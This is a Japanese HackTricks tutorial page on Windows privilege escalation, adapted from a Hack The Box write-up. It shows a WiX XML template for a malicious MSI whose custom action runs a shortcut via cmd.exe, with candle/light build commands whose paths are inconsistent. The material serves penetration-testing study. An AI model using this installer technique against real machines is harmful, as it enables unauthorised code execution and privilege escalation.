hacktricks/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md

84 lines
6 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks をサポートする他の方法:
2022-04-28 16:01:33 +00:00
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
2022-04-28 16:01:33 +00:00
</details>
# 悪意のあるMSIの作成とルートの取得
2022-04-28 16:01:33 +00:00
MSIインストーラーの作成は、wixtools を使用して行われます。具体的には、[wixtools](http://wixtoolset.org) が利用されます。別のMSIビルダーを試したが、この特定のケースでは成功しなかったことに言及する価値があります。
wix MSI の使用例を包括的に理解するためには、[このページ](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) を参照することをお勧めします。ここでは、wix MSI の使用例を示すさまざまな例を見つけることができます。
目的は、lnkファイルを実行するMSIを生成することです。これを達成するために、次のXMLコードを使用できます[ここからxmlを取得](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root))。
```markup
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
Impersonate="yes"/>
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
fail_here
</CustomAction>
<InstallExecuteSequence>
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>
```
重要な点として、Package要素には、インストーラーのバージョンを指定するInstallerVersionや、パッケージが圧縮されているかどうかを示すCompressedなどの属性が含まれていることに注意することが重要です。
作成プロセスには、msi.xmlからwixobjectを生成するために、wixtoolsのツールであるcandle.exeを利用することが含まれます。次のコマンドを実行する必要があります
```
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
```
さらに、投稿にはコマンドとその出力を示す画像が提供されていることを言及する価値があります。視覚的なガイダンスにはそれを参照できます。
さらに、wixtoolsの別のツールであるlight.exeを使用して、wixobjectからMSIファイルを作成します。実行するコマンドは次のとおりです:
```
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
```
## 参考文献
* [https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)
* [https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)
[wixtools](http://wixtoolset.org)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
HackTricksをサポートする他の方法:
2022-04-28 16:01:33 +00:00
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
2022-04-28 16:01:33 +00:00
</details>